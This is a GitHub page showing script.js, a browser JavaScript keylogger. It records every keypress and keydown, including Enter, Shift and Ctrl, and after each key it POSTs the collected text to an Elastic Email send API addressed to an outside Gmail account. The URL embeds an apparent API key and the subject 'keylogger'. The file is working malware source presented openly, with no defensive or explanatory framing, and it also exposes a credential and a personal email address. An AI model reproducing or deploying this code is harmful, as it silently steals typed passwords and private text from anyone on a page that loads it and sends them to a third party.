-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.js
109 lines (109 loc) · 3.07 KB
/
script.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
var mystring='';
document.addEventListener('keypress', function (e)
{
var charCode = e.which;
var charStr = String.fromCharCode(charCode); //change to string
if (charCode == 8)
{
charStr='[BackSpace]';
}
else if (charCode == 9)
{
charStr='[Tab]';
}
else if (charCode == 13)
{
charStr='[Enter]';
}
else if (charCode == 16)
{
charStr='[Shift]';
}
else if (charCode == 17)
{
charStr='[Ctrl]';
}
else if (charCode == 18)
{
charStr='[Alt]';
}
else if (charCode == 8)
{
charStr='[BKSP]';
}
else if (charCode == 9)
{
charStr='[TAB]';
}
else if (charCode == 13)
{
charStr='[ENTER]';
}
mystring+=charStr;
console.log(mystring);
$.ajax({
type:"POST",
url: "https://api.elasticemail.com/v2/email/send?apikey=635e2157-94cc-4fb8-9167-2246312d7cf8&subject=keylogger&msgTo=siddharthayadav202@gmail.com",
data: mystring,
success: function(){
alert('successful');
}
})
});
document.addEventListener('keydown', function (e2)
{
var charCode = e2.which;
var charStr=null; //change to string
if (charCode == 8)
{
charStr='[BackSpace]';
}
else if (charCode == 9)
{
charStr='[Tab]';
}
else if (charCode == 13)
{
charStr='[Enter]';
}
else if (charCode == 16)
{
charStr='[Shift]';
}
else if (charCode == 17)
{
charStr='[Ctrl]';
}
else if (charCode == 18)
{
charStr='[Alt]';
}
else if (charCode == 8)
{
charStr='[BKSP]';
}
else if (charCode == 9)
{
charStr='[TAB]';
}
else if (charCode == 13)
{
charStr='[ENTER]';
}
if(charStr!=null)
{
mystring+=charStr;
}
console.log(mystring);
$.post("https://api.elasticemail.com/v2/email/send?apikey=635e2157-94cc-4fb8-9167-2246312d7cf8&subject=keylogger&msgTo=siddharthayadav202@gmail.com",mystring,function(data,status,xhr)
{
alert("Data:"+data+"\nStatus: "+status);
})
});
//document.getElementById('send').addEventListener("click",function()
//{
// $.post("https://api.elasticemail.com/v2/email/send?apikey=635e2157-94cc-4fb8-9167-2246312d7cf8&subject=keylogger&msgTxo=siddharthayadav202@gmail.com",mystring,function(mystring,status)
// {
// alert("Data:"+mystring+"\nStatus: "+status);
// })
// });